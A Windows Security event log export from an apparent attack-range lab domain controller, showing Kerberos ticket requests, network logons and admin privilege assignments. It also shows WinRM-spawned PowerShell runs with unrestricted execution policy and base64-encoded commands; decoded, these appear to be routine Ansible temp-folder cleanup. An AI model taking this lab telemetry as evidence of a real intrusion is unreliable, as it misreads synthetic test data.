Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250945
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12198F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64490

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250944
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12198F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250943
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1218FC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250942
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1218FC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64489

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250941
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1218FC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250940
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x112c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfd8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAxAEEARABjAEEATABnAEEAMwBBAEQAawBBAE0AdwBBADEAQQBEAFUAQQBNAFEAQQB5AEEAQwAwAEEATwBBAEEAdwBBAEQAUQBBAE0AUQBBAHcAQQBEAE0AQQBNAHcAQQAwAEEARABZAEEATwBBAEEANQBBAEQAawBBAE4AUQBBADEAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250939
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfd8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1180
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAxAEEARABjAEEATABnAEEAMwBBAEQAawBBAE0AdwBBADEAQQBEAFUAQQBNAFEAQQB5AEEAQwAwAEEATwBBAEEAdwBBAEQAUQBBAE0AUQBBAHcAQQBEAE0AQQBNAHcAQQAwAEEARABZAEEATwBBAEEANQBBAEQAawBBAE4AUQBBADEAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250938
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x121804

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250937
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x121804
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250936
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250935
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250934
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250933
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1217E8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250932
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1217E8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250931
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1217E8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250930
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250929
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250928
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250927
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12138E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250926
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x120877

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:36 PM
LogName=Security
